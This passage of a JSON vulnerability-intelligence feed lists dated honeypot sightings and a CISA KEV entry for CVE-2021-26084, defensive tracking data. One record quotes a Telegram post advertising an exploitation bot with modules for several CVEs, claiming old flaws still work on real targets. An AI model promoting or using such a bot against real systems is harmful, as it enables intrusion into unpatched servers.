"2026-01-09T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-09)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "d9951f91-4d2a-4bdc-b16f-84fe68e85b97"}, {"timestamp": "2026-01-11T00:00:00Z", "date_only": false, "value": "2026-01-11T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-11)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "0b6c3540-4bcf-4681-bf8c-682704668e70"}, {"timestamp": "2026-01-11T00:00:00Z", "date_only": false, "value": "2026-01-11T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-11)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "2edef501-55bd-445e-b459-bc8c11115b54"}, {"timestamp": "2026-01-12T00:00:00Z", "date_only": false, "value": "2026-01-12T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-12)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "30c3bdbd-336b-40d9-ad84-9197301a84d0"}, {"timestamp": "2026-01-13T00:00:00Z", "date_only": false, "value": "2026-01-13T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-13)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "a09d247a-cfe2-477e-95ac-8274e5b2f412"}, {"timestamp": "2026-01-16T00:00:00Z", "date_only": false, "value": "2026-01-16T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-16)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "ef54b4ae-2d85-4f6b-bfd3-ad994df85789"}, {"timestamp": "2026-01-18T00:00:00Z", "date_only": false, "value": "2026-01-18T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-18)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "37471dc8-189b-4065-b3df-76851824a741"}, {"timestamp": "2026-01-19T00:00:00Z", "date_only": false, "value": "2026-01-19T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-19)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "8db6bc41-f7f0-4ac5-a3a8-e7aba4a84cfc"}, {"timestamp": "2026-01-20T00:00:00Z", "date_only": false, "value": "2026-01-20T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-20)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "bc1076ea-0448-4fcb-9d4f-52a6d8013b68"}, {"timestamp": "2026-01-21T00:00:00Z", "date_only": false, "value": "2026-01-21T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-21)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "051c1a8b-d4d2-4f76-8299-563fd96e2cc2"}, {"timestamp": "2026-01-22T00:00:00Z", "date_only": false, "value": "2026-01-22T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-22)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "7a497fb1-cd87-4912-bf8b-adde13f485b5"}, {"timestamp": "2026-01-23T00:00:00Z", "date_only": false, "value": "2026-01-23T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-23)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "b3b739c2-f9d2-4c99-9714-b5a6190550e5"}, {"timestamp": "2026-01-24T00:00:00Z", "date_only": false, "value": "2026-01-24T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-24)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "a78ba863-40b6-48be-92c7-1930c144ffe3"}, {"timestamp": "2026-01-27T00:00:00Z", "date_only": false, "value": "2026-01-27T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-27)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "12cab065-6177-4a33-8004-1f482c939812"}, {"timestamp": "2026-01-28T00:00:00Z", "date_only": false, "value": "2026-01-28T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-28)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "98feb31c-8160-4f5c-8658-4dac2a42b6cf"}, {"timestamp": "2026-01-31T00:00:00Z", "date_only": false, "value": "2026-01-31T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-31)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "4287d39c-6f8a-4368-ab5b-704513f118a0"}, {"timestamp": "2026-02-02T12:25:39Z", "date_only": false, "value": "2026-02-02T12:25:39+00:00", "kind": "kev", "label": "Recorded", "source": "cisa-kev", "record": "CVE-2021-26084", "field": "timestamps.recorded_at", "uuid": "6d621247-2552-48c4-bb8b-05fae0429f21", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-02-02T12:28:39.330Z", "date_only": false, "value": "2026-02-02T12:28:39.330626Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/6d621247-2552-48c4-bb8b-05fae0429f21", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "64a493e5-2903-4677-b938-ff76da6fb8d3", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/6d621247-2552-48c4-bb8b-05fae0429f21"}, {"timestamp": "2026-02-06T00:00:00Z", "date_only": false, "value": "2026-02-06T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-06)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "f84988a8-43ee-420a-9b39-baad9982b0ec"}, {"timestamp": "2026-02-09T00:00:00Z", "date_only": false, "value": "2026-02-09T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-09)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "daa040cc-8ff8-42d5-b34a-6afc87c887b5"}, {"timestamp": "2026-02-10T00:00:00Z", "date_only": false, "value": "2026-02-10T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-10)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "6f3bfcfa-e633-4f5f-a124-26a0c2a18776"}, {"timestamp": "2026-02-11T00:00:00Z", "date_only": false, "value": "2026-02-11T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-11)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "59482108-0b23-4044-8440-7f8b08c8b894"}, {"timestamp": "2026-02-12T00:00:00Z", "date_only": false, "value": "2026-02-12T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-12)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "2e410753-29d5-4846-83cd-ca51dda5141d"}, {"timestamp": "2026-02-13T00:00:00Z", "date_only": false, "value": "2026-02-13T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-13)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "a65f45c4-8fee-479f-880b-79f8f4eebc7d"}, {"timestamp": "2026-02-17T15:25:49Z", "date_only": false, "value": "2026-02-17T15:25:49.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cmsbotinfo/58", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "03e9188f-c15d-4702-a509-6d7e96e226ef", "content": "Update Modules:\nBOT & WEB\n\nmodules /cve:\n\nCVE-2026-24061\nCVE-2021-26084\nCVE-2024-36401\nCVE-2014-6271\n\nmodules /wp:\n\nCVE-2026-0920\nCVE-2025-6934\nCVE-2025-29009\nCVE-2025-6389\nCVE-2025-14998\nCVE-2024-56043\n\nI know there are the old CVE, but trust me, it's still working in the real target..\ne.g: CVE-2014-6271\n\nif you have the request CVE to added to bot , just chat @CMSAssistant_bot\nit's support for any language espesially english.\n\nI will update the more CVE ( at the moment i will add more modules for wordpress and other general CVE) \ud83d\ude01", "url": "https://t.me/cmsbotinfo/58"}, {"timestamp": "2026-02-18T00:00:00Z", "date_only": false, "value": "2026-02-18T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-18)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "35592c42-211d-4154-9153-dc4190ef005e"}, {"timestamp": "2026-02-21T00:00:00Z", "date_only": false, "value": "2026-02-21T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-21)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "017e8071-7723-4447-a88c-8eb800aa40be"}, {"timestamp": "2026-02-22T00:00:00Z", "date_only": false, "value": "2026-02-22T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-22)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "993eea54-4aad-4550-918a-619b159565d7"}, {"timestamp": "2026-02-23T00:00:00Z", "date_only": false, "value": "2026-02-23T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-23)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "0a01c7a6-3d80-46f2-8347-22d6703feb7e"}, {"timestamp": "2026-02-28T00:00:00Z", "date_only": false, "value": "2026-02-28T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-28)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "cfe189e3-f11f-4862-b957-71c65f449ccc"}, {"timestamp": "2026-03-01T00:00:00Z", "date_only": false, "value": "2026-03-01T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-01)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "629154d4-1787-4bf0-a753-75e07b1f70bf"}, {"timestamp": "2026-03-06T00:00:00Z", "date_only": false, "value": "2026-03-06T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-06)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "90d98dd6-7579-4922-b7db-bf85a5d5c105"}, {"timestamp": "2026-03-10T00:00:00Z", "date_only": false, "value": "2026-03-10T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-10)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "76ed4a8e-5eee-4fa9-851f-f0f07cbe4a9e"}, {"timestamp": "2026-03-11T00:00:00Z", "date_only": false, "value": "2026-03-11T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-11)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "3556a6ca-6347-4ec0-8f79-629f95409b90"}, {"timestamp": "2026-03-12T00:00:00Z", "date_only": false, "value": "2026-03-12T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-12)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "ff019b29-b8fd-4023-8e46-98798625a851"}, {"timestamp": "2026-03-13T00:00:00Z", "date_only": false, "value": "2026-03-13T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-13)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "91558267-e5fd-4942-8ea4-b8c5083aaaaf"}, {"timestamp": "2026-03-14T00:00:00Z", "date_only": false, "value": "2026-03-14T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-14)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "6e32a38b-e1ba-4662-8222-a84660977fe0"}, {"timestamp": "2026-03-15T00:00:00Z", "date_only": false, "value": "2026-03-15T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-15)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "aff667f8-5e7b-4adf-a9c7-eeda87fc94fb"}, {"timestamp": "2026-03-16T00:00:00Z", "date_only": false, "value": "2026-03-16T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-16)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "69ae40de-d906-43e9-a065-665630b4f2a5"}, {"timestamp": "2026-03-18T00:00:00Z", "date_only": false, "value": "2026-03-18T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-18)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "96252a78-382d-4869-83b9-14bd88770d95"}, {"timestamp": "2026-03-20T00:00:00Z", "date_only": false, "value": "2026-03-20T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-20)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "97bf7b4c-b50d-4200-8101-d377acea6256"}, {"timestamp": "2026-03-20T00:00:00Z", "date_only": false, "value": "2026-03-20T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-20)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "7326175c-5ebe-490c-bdc1-afa465c0f781"}, {"timestamp": "2026-03-21T00:00:00Z", "date_only": false, "value": "2026-03-21T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-21)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "19458312-03f7-404d-8f6c-7f10efc380cf"}, {"timestamp": "2026-03-22T00:00:00Z", "date_only": false, "value": "2026-03-22T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-22)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "fffa9c07-1799-41b9-833d-eb3c4c5328ce"}, {"timestamp": "2026-03-23T00:00:00Z", "date_only": false, "value": "2026-03-23T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-23)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "11042a02-3f75-4bd5-a049-0bdd25ed4be0"}, {"timestamp": "2026-03-23T00:00:00Z", "date_only": false, "value": "2026-03-23T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-23)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "15f75874-06e0-43e3-bdb9-64361f55a714"}, {"timestamp": "2026-03-26T00:00:00Z", "date_only": false, "value": "2026-03-26T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-26)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "8dfd03e0-ed0a-4546-a5b1-9e4fe69030ec"}, {"timestamp": "2026-03-27T00:00:00Z", "date_only": false, "value": "2026-03-27T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-27)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "8f7e2028-0068-459f-bba3-a6d45b109b35"}, {"timestamp": "2026-03-27T00:00:00Z", "date_only": false, "value": "2026-03-27T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-27)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "4790250f-5a5f-43f4-8fde-5faa67e4a007"}, {"timestamp": "2026-03-28T00:00:00Z", "date_only": false, "value": "2026-03-28T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-28)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "55bf8734-6441-400d-9952-09e24d44e0ca"}, {"timestamp": "2026-03-28T00:00:00Z", "date_only": false, "value": "2026-03-28T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-28)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "11812adb-5915-4e01-a638-72b06a8513ff"}, {"timestamp": "2026-03-29T00:00:00Z", "date_only": false, "value": "2026-03-29T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-29)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "db65b72b-2e5a-4694-8730-084ffe49f789"}, {"timestamp": "2026-03-29T00:00:00Z", "date_only": false, "value": "2026-03-29T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-29)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "c13e6a6c-c43a-46f6-8ecf-63395320dfe9"}, {"timestamp": "2026-03-30T00:00:00Z", "date_only": false, "value": "2026-03-30T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-30)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "64995d9f-fc49-4910-8b03-3ca03d170beb"}, {"timestamp": "2026-04-01T00:00:00Z", "date_only": false, "value": "2026-04-01T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-01)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "3d7f1d60-ea3e-4087-a20b-5ccb34deb2c7"}, {"timestamp": "2026-04-01T00:00:00Z", "date_only": false, "value": "2026-04-01T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-01)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "24f95968-9b63-4de8-b2e0-d62cf0fc6d5e"}, {"timestamp": "2026-04-02T00:00:00Z", "date_only": false, "value": "2026-04-02T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-02)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "a5181bab-b693-4993-94c7-5a234d7f89b0"}, {"timestamp": "2026-04-03T00:00:00Z", "date_only": false, "value": "2026-04-03T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-03)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "50d97233-2afc-4c55-928a-75745a3c71ff"}, {"timestamp": "2026-04-04T00:00:00Z", "date_only": false, "value": "2026-04-04T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-04)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "1f1ec287-bdef-4a6a-9ce6-e9545f157791"}, {"timestamp": "2026-04-05T00:00:00Z", "date_only": false, "value": "2026-04-05T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-05)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "954979a7-3d08-4d7f-b0b9-712f38733be7"}, {"timestamp": "2026-04-05T00:00:00Z", "date_only": false, "value": "2026-04-05T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-05)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "ab1c099c-bb15-419c-afcb-9dd4e88dff05"}, {"timestamp": "2026-04-06T00:00:00Z", "date_only": false, "value": "2026-04-06T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-06)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "62f40f24-cc75-4ba8-a026-a8d4d6fe31f4"}, {"timestamp": "2026-04-06T00:00:00Z", "date_only": false, "value": "2026-04-06T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-06)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "ba24d77d-050d-40e5-ae01-3eacdc35a3f9"}, {"timestamp": "2026-04-07T00:00:00Z", "date_only": false, "value": "2026-04-07T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-07)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "f82d5d52-4144-4d53-833a-88159f54a370"}, {"timestamp": "2026-04-08T00:00:00Z", "date_only": false, "value": "2026-04-08T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-08)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "25a69e13-d475-44de-bf7a-5c19fa83c511"}, {"timestamp": "2026-04-10T00:00:00Z", "date_only": false, "value": "2026-04-10T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-10)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "35fe1615-a702-4489-8ccb-91b5967c8a8e"}, {"timestamp": "2026-04-10T00:00:00Z", "date_only": false, "value": "2026-04-10T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-10)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "b180ca37-20c3-48da-a4e4-315ba8b4ba91"}, {"timestamp": "2026-04-11T00:00:00Z", "date_only": false, "value": "2026-04-11T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-11)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "cef30d9c-6a34-46cf-aab7-a6abffc3d77e"}, {"timestamp": "2026-04-11T00:00:00Z", "date_only": false, "value": "2026-04-11T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-11)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "5a18a1f1-1739-4a7a-942e-1a0bf72dd937"}, {"timestamp": "2026-04-14T00:00:00Z", "date_only": false, "value": "2026-04-14T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-14)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "0eb90400-94f4-41c9-855c-35ef58ada34c"}, {"timestamp": "2026-04-15T00:00:00Z", "date_only": false, "value": "2026-04-15T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-15)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "3786a753-7e21-41d1-b186-ed9c09c75e94"}, {"timestamp": "2026-04-17T00:00:00Z", "date_only": false, "value": "2026-04-17T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-17)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "6c197021-8b57-44ff-8a03-e96ffdf5ec27"}, {"timestamp": "2026-04-18T00:00:00Z", "date_only": false, "value": "2026-04-18T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-18)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "28205a0a-eaba-4162-a9d3-b0aa319effad"}, {"timestamp": "2026-04-18T00:00:00Z", "date_only": false, "value": "2026-04-18T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-18)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "47205d6c-4f23-49d2-b268-cbcb3ef6f8cd"}, {"timestamp": "2026-04-19T00:00:00Z", "date_only": false, "value": "2026-04-19T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-19)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "e67c2966-efa3-4086-af6a-634ba2c8a907"}, {"timestamp": "2026-04-20T00:00:00Z", "date_only": false, "value": "2026-04-20T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-20)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "ecf0c832-60cc-40e3-9cc0-abf08a8a1935"}, {"timestamp": "2026-04-21T00:00:00Z", "date_only": false, "value": "2026-04-21T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-21)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "d80bbcaa-ebbf-44c5-b44c-1f197b68e366"}, {"timestamp": "2026-04-23T00:00:00Z", "date_only": false, "value": "2026-04-23T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-23)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "ee180812-3081-4c1e-895a-e8d096964bb6"}, {"timestamp": "2026-04-24T00:00:00Z", "date_only": false, "value": "2026-04-24T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-24)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "78b6baa1-56b4-426c-9d1f-04246f22549b"}, {"timestamp": "2026-04-25T00:00:00Z", "date_only": false, "value": "2026-04-25T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-25)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "feeb7c3b-e1f7-42c6-8fa3-a66b7acc3022"}, {"timestamp": "2026-04-26T00:00:00Z", "date_only": false, "value": "2026-04-26T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-26)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "39973f6f-8085-4703-b08a-076dcae97536"}, {"timestamp": "2026-04-27T00:00:00Z", "date_only": false, "value": "2026-04-27T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-27)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "d6cccd0a-e437-4955-8922-d9542288a3fe"}, {"timestamp": "2026-04-28T00:00:00Z", "date_only": false, "value": "2026-04-28T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-28)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "54eda003-2cbd-47ab-b641-113231e5a7f4"}, {"timestamp": "2026-04-28T00:00:00Z", "date_only": false, "value": "2026-04-28T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-28)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "31fa7101-f48a-46a7-bf09-ce8c0188de68"}, {"timestamp": "2026-04-29T00:00:00Z", "date_only": false, "value": "2026-04-29T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-29)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "688970d1-9089-4f80-b940-181d4670fcc4"}, {"timestamp": "2026-04-30T00:00:00Z", "date_only": false, "value": "2026-04-30T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-30)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "9dc3814d-3bc1-4a51-b040-08d7e350f43a"}, {"timestamp": "2026-05-01T00:00:00Z", "date_only": false, "value": "2026-05-01T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-01)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": 